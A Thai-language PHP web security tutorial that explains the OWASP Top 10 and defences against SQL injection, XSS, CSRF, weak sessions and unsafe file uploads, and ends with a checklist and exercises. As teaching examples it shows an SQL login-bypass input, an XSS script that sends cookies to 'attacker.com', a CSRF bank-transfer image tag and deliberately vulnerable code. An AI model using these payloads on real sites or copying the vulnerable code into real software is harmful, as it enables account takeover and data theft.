การรักษาความปลอดภัยเว็บไซต์ - Web Security Best Practices
บทเรียนนี้จะสอนเกี่ยวกับ การรักษาความปลอดภัยเว็บไซต์ ซึ่งเป็นสิ่งสำคัญที่สุดในการพัฒนาเว็บแอปพลิเคชัน การเข้าใจและป้องกันช่องโหว่ด้านความปลอดภัยจะช่วยปกป้องข้อมูลของผู้ใช้และระบบของคุณ
6.1 ภัยคุกคามทั่วไป (Common Security Threats)
OWASP Top 10
OWASP (Open Web Application Security Project) จัดอันดับช่องโหว่ด้านความปลอดภัยที่พบบ่อยที่สุด:
| อันดับ | ภัยคุกคาม | คำอธิบาย |
|---|---|---|
| 1 | Broken Access Control | การควบคุมการเข้าถึงที่ไม่เหมาะสม |
| 2 | Cryptographic Failures | การเข้ารหัสที่ไม่ปลอดภัย |
| 3 | Injection | SQL Injection, XSS, Command Injection |
| 4 | Insecure Design | การออกแบบที่ไม่ปลอดภัย |
| 5 | Security Misconfiguration | การตั้งค่าที่ไม่ปลอดภัย |
6.2 SQL Injection - การโจมตีฐานข้อมูล
SQL Injection คืออะไร?
เป็นการโจมตีที่ผู้ไม่หวังดีแทรกโค้ด SQL เข้าไปในช่องกรอกข้อมูล เพื่อเข้าถึงหรือทำลายข้อมูลในฐานข้อมูล
ตัวอย่างการโจมตี
// โค้ดที่มีช่องโหว่ (อันตราย!)
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = $pdo->query($sql);ผู้โจมตีสามารถใส่:
username: admin' OR '1'='1
password: anythingSQL ที่ได้:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'ผลลัพธ์: เข้าสู่ระบบได้โดยไม่ต้องรู้รหัสผ่าน!
วิธีป้องกัน
1. ใช้ Prepared Statements (PDO)
// ✅ ปลอดภัย
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute([
'username' => $_POST['username'],
'password' => $_POST['password']
]);
$user = $stmt->fetch();2. ใช้ ORM (Object-Relational Mapping)
// ตัวอย่างการใช้ ORM (เช่น Eloquent, Doctrine)
$user = User::where('username', $username)->first();3. Validate และ Sanitize Input
// ตรวจสอบรูปแบบข้อมูล
$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
if (!$email) {
die("Invalid email format");
}
// จำกัดความยาว
$username = substr($_POST['username'], 0, 50);
// ใช้ whitelist สำหรับค่าที่กำหนดไว้
$allowed_sort = ['name', 'date', 'price'];
$sort = in_array($_POST['sort'], $allowed_sort) ? $_POST['sort'] : 'name';6.3 XSS (Cross-Site Scripting)
XSS คืออะไร?
เป็นการโจมตีที่ผู้ไม่หวังดีแทรกโค้ด JavaScript เข้าไปในเว็บไซต์ เพื่อขโมยข้อมูล Cookie, Session หรือเปลี่ยนแปลงเนื้อหาหน้าเว็บ
ตัวอย่างการโจมตี
// โค้ดที่มีช่องโหว่
$comment = $_POST['comment'];
echo "<div>$comment</div>";ผู้โจมตีสามารถใส่:
<script>
// ขโมย Cookie
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>วิธีป้องกัน
1. ใช้ htmlspecialchars()
// ✅ ปลอดภัย
$comment = $_POST['comment'];
echo "<div>" . htmlspecialchars($comment, ENT_QUOTES, 'UTF-8') . "</div>";2. Content Security Policy (CSP)
// ตั้งค่า CSP Header
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com");3. ใช้ Template Engine ที่มี Auto-Escaping
// Twig, Blade, หรือ template engine อื่นๆ จะ escape อัตโนมัติ
{{ user_input }} // Auto-escaped
{!! user_input !!} // Raw output (ระวัง!)6.4 CSRF (Cross-Site Request Forgery)
CSRF คืออะไร?
เป็นการโจมตีที่หลอกให้ผู้ใช้ที่ล็อกอินอยู่ส่งคำขอที่ไม่ได้ตั้งใจ เช่น โอนเงิน, เปลี่ยนรหัสผ่าน
ตัวอย่างการโจมตี
<!-- เว็บไซต์ของผู้โจมตี -->
<img src="https://yourbank.com/transfer?to=attacker&amount=10000" />เมื่อผู้ใช้ที่ล็อกอินอยู่เปิดหน้านี้ คำขอจะถูกส่งไปพร้อม Cookie ของผู้ใช้
วิธีป้องกัน
1. ใช้ CSRF Token
// สร้าง Token
session_start();
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// ใส่ใน Form
echo '<input type="hidden" name="csrf_token" value="' . $_SESSION['csrf_token'] . '">';
// ตรวจสอบ Token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("CSRF token validation failed");
}2. ใช้ SameSite Cookie
// ตั้งค่า Cookie ให้ส่งเฉพาะ same-site requests
setcookie('session_id', $session_id, [
'samesite' => 'Strict',
'secure' => true,
'httponly' => true
]);3. ตรวจสอบ Referer Header
$referer = $_SERVER['HTTP_REFERER'] ?? '';
if (strpos($referer, 'https://yoursite.com') !== 0) {
die("Invalid referer");
}6.5 การจัดการ Authentication และ Authorization
Authentication (การยืนยันตัวตน)
1. Password Hashing
// ✅ ถูกต้อง - ใช้ password_hash()
$hashed = password_hash($_POST['password'], PASSWORD_DEFAULT);
// ❌ ผิด - ไม่ควรใช้ MD5 หรือ SHA1
$hashed = md5($_POST['password']); // อันตราย!2. Password Requirements
function validatePassword($password) {
// อย่างน้อย 8 ตัวอักษร, มีตัวพิมพ์ใหญ่, ตัวพิมพ์เล็ก, ตัวเลข
if (strlen($password) < 8) {
return "รหัสผ่านต้องมีอย่างน้อย 8 ตัวอักษร";
}
if (!preg_match('/[A-Z]/', $password)) {
return "รหัสผ่านต้องมีตัวพิมพ์ใหญ่";
}
if (!preg_match('/[a-z]/', $password)) {
return "รหัสผ่านต้องมีตัวพิมพ์เล็ก";
}
if (!preg_match('/[0-9]/', $password)) {
return "รหัสผ่านต้องมีตัวเลข";
}
return true;
}3. Rate Limiting (จำกัดจำนวนครั้งการพยายาม)
session_start();
// จำกัดการ login
if (!isset($_SESSION['login_attempts'])) {
$_SESSION['login_attempts'] = 0;
$_SESSION['last_attempt'] = time();
}
if ($_SESSION['login_attempts'] >= 5) {
$time_passed = time() - $_SESSION['last_attempt'];
if ($time_passed < 900) { // 15 นาที
die("คุณพยายาม login มากเกินไป กรุณารอ " . (900 - $time_passed) . " วินาที");
} else {
$_SESSION['login_attempts'] = 0;
}
}
// ถ้า login ไม่สำเร็จ
$_SESSION['login_attempts']++;
$_SESSION['last_attempt'] = time();Authorization (การควบคุมสิทธิ์)
1. Role-Based Access Control (RBAC)
// ตรวจสอบสิทธิ์
function checkPermission($required_role) {
session_start();
if (!isset($_SESSION['user_role'])) {
header('Location: /login.php');
exit();
}
$roles = ['guest' => 0, 'user' => 1, 'admin' => 2];
if ($roles[$_SESSION['user_role']] < $roles[$required_role]) {
http_response_code(403);
die("คุณไม่มีสิทธิ์เข้าถึงหน้านี้");
}
}
// ใช้งาน
checkPermission('admin');2. Object-Level Authorization
// ตรวจสอบว่าผู้ใช้เป็นเจ้าของข้อมูลหรือไม่
$post_id = $_GET['id'];
$stmt = $pdo->prepare("SELECT user_id FROM posts WHERE id = :id");
$stmt->execute(['id' => $post_id]);
$post = $stmt->fetch();
if ($post['user_id'] !== $_SESSION['user_id']) {
http_response_code(403);
die("คุณไม่มีสิทธิ์แก้ไขโพสต์นี้");
}6.6 การรักษาความปลอดภัย Session และ Cookie
Session Security
// ตั้งค่า Session ที่ปลอดภัย
ini_set('session.cookie_httponly', 1); // ป้องกัน JavaScript เข้าถึง
ini_set('session.cookie_secure', 1); // ส่งผ่าน HTTPS เท่านั้น
ini_set('session.cookie_samesite', 'Strict'); // ป้องกัน CSRF
ini_set('session.use_strict_mode', 1); // ป้องกัน Session Fixation
session_start();
// Regenerate Session ID หลัง Login
if (isset($_POST['login'])) {
// ... ตรวจสอบ username/password ...
session_regenerate_id(true);
$_SESSION['user_id'] = $user['id'];
}
// ตั้งค่า Session Timeout
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > 1800)) {
session_unset();
session_destroy();
header('Location: /login.php?timeout=1');
exit();
}
$_SESSION['last_activity'] = time();Cookie Security
// ตั้งค่า Cookie ที่ปลอดภัย
setcookie('user_pref', $value, [
'expires' => time() + 86400,
'path' => '/',
'domain' => 'yoursite.com',
'secure' => true, // HTTPS only
'httponly' => true, // ป้องกัน XSS
'samesite' => 'Strict' // ป้องกัน CSRF
]);6.7 File Upload Security
ช่องโหว่จาก File Upload
ผู้โจมตีสามารถอัปโหลดไฟล์ที่เป็นอันตราย เช่น PHP Shell, Malware
วิธีป้องกัน
// ตรวจสอบการอัปโหลดไฟล์
if (isset($_FILES['upload'])) {
$file = $_FILES['upload'];
// 1. ตรวจสอบ Error
if ($file['error'] !== UPLOAD_ERR_OK) {
die("Upload failed");
}
// 2. ตรวจสอบขนาดไฟล์
$max_size = 5 * 1024 * 1024; // 5MB
if ($file['size'] > $max_size) {
die("File too large");
}
// 3. ตรวจสอบ MIME Type
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (!in_array($mime, $allowed_types)) {
die("Invalid file type");
}
// 4. ตรวจสอบ Extension
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext)) {
die("Invalid file extension");
}
// 5. สร้างชื่อไฟล์ใหม่ (ไม่ใช้ชื่อเดิม)
$new_name = bin2hex(random_bytes(16)) . '.' . $ext;
// 6. เก็บไฟล์นอก Document Root หรือใช้ .htaccess ป้องกัน
$upload_dir = '/var/www/uploads/'; // นอก public_html
$destination = $upload_dir . $new_name;
// 7. ย้ายไฟล์
if (move_uploaded_file($file['tmp_name'], $destination)) {
// บันทึกข้อมูลลงฐานข้อมูล
$stmt = $pdo->prepare("INSERT INTO files (filename, original_name, user_id) VALUES (:filename, :original, :user_id)");
$stmt->execute([
'filename' => $new_name,
'original' => $file['name'],
'user_id' => $_SESSION['user_id']
]);
echo "Upload successful";
}
}.htaccess สำหรับป้องกันการรันไฟล์
# ไฟล์ .htaccess ในโฟลเดอร์ uploads
<FilesMatch "\.(php|php3|php4|php5|phtml|pl|py|jsp|asp|sh|cgi)$">
Order Allow,Deny
Deny from all
</FilesMatch>6.8 HTTPS และ SSL/TLS
ทำไมต้องใช้ HTTPS?
- เข้ารหัสข้อมูลระหว่างการส่ง
- ป้องกัน Man-in-the-Middle Attack
- เพิ่มความน่าเชื่อถือ
- SEO ดีขึ้น (Google ให้ความสำคัญ)
การบังคับใช้ HTTPS
// บังคับ HTTPS
if (empty($_SERVER['HTTPS']) || $_SERVER['HTTPS'] === 'off') {
$redirect = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header('Location: ' . $redirect, true, 301);
exit();
}Security Headers
// ตั้งค่า Security Headers
header('X-Frame-Options: DENY'); // ป้องกัน Clickjacking
header('X-Content-Type-Options: nosniff'); // ป้องกัน MIME Sniffing
header('X-XSS-Protection: 1; mode=block'); // เปิด XSS Protection
header('Strict-Transport-Security: max-age=31536000; includeSubDomains'); // บังคับ HTTPS
header('Content-Security-Policy: default-src \'self\''); // CSP
header('Referrer-Policy: strict-origin-when-cross-origin');6.9 Error Handling และ Logging
ไม่ควรแสดง Error ในโปรเจกต์จริง
// ❌ อันตราย - แสดงข้อมูลระบบ
ini_set('display_errors', 1);
error_reporting(E_ALL);
// ✅ ปลอดภัย - ซ่อน Error และ Log ไว้
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', '/var/log/php_errors.log');
error_reporting(E_ALL);
// แสดงข้อความทั่วไปแทน
try {
// โค้ดที่อาจเกิด error
} catch (Exception $e) {
error_log($e->getMessage()); // Log error
die("เกิดข้อผิดพลาด กรุณาลองใหม่อีกครั้ง"); // แสดงข้อความทั่วไป
}Security Logging
// Log เหตุการณ์ด้านความปลอดภัย
function securityLog($event, $details = []) {
$log_entry = [
'timestamp' => date('Y-m-d H:i:s'),
'ip' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'event' => $event,
'details' => $details
];
error_log(json_encode($log_entry), 3, '/var/log/security.log');
}
// ใช้งาน
securityLog('failed_login', ['username' => $_POST['username']]);
securityLog('suspicious_activity', ['reason' => 'Multiple failed attempts']);6.10 Checklist ความปลอดภัย
ก่อน Deploy
- [ ] ใช้ HTTPS ทั้งเว็บไซต์
- [ ] ใช้ Prepared Statements สำหรับ Database queries
- [ ] Escape output ด้วย
htmlspecialchars() - [ ] ใช้ CSRF tokens ในทุก form
- [ ] เข้ารหัสรหัสผ่านด้วย
password_hash() - [ ] ตั้งค่า Session และ Cookie ให้ปลอดภัย
- [ ] ตรวจสอบและ validate input ทั้งหมด
- [ ] จำกัดขนาดและชนิดของไฟล์ที่อัปโหลด
- [ ] ตั้งค่า Security Headers
- [ ] ปิด
display_errorsในโปรเจกต์จริง - [ ] ใช้ Environment Variables สำหรับข้อมูลลับ
- [ ] อัปเดต PHP และ dependencies ให้เป็นเวอร์ชันล่าสุด
- [ ] สำรองข้อมูลอย่างสม่ำเสมอ
- [ ] ทดสอบความปลอดภัยด้วย Security Scanner
แบบฝึกหัดท้ายบท
- สร้างระบบ Login ที่มีการป้องกัน SQL Injection ด้วย PDO Prepared Statements
- เพิ่ม CSRF Token ในฟอร์มและตรวจสอบเมื่อส่งข้อมูล
- สร้างระบบแสดงความคิดเห็นที่ป้องกัน XSS
- เขียนฟังก์ชัน Rate Limiting สำหรับป้องกัน Brute Force Attack
- สร้างระบบอัปโหลดรูปภาพที่ปลอดภัย พร้อมตรวจสอบ MIME Type และ Extension
- ตั้งค่า Security Headers ในเว็บไซต์ของคุณ
- สร้างระบบ Logging สำหรับบันทึกเหตุการณ์ด้านความปลอดภัย
การรักษาความปลอดภัยเป็นกระบวนการต่อเนื่อง ต้องอัปเดตและปรับปรุงอยู่เสมอ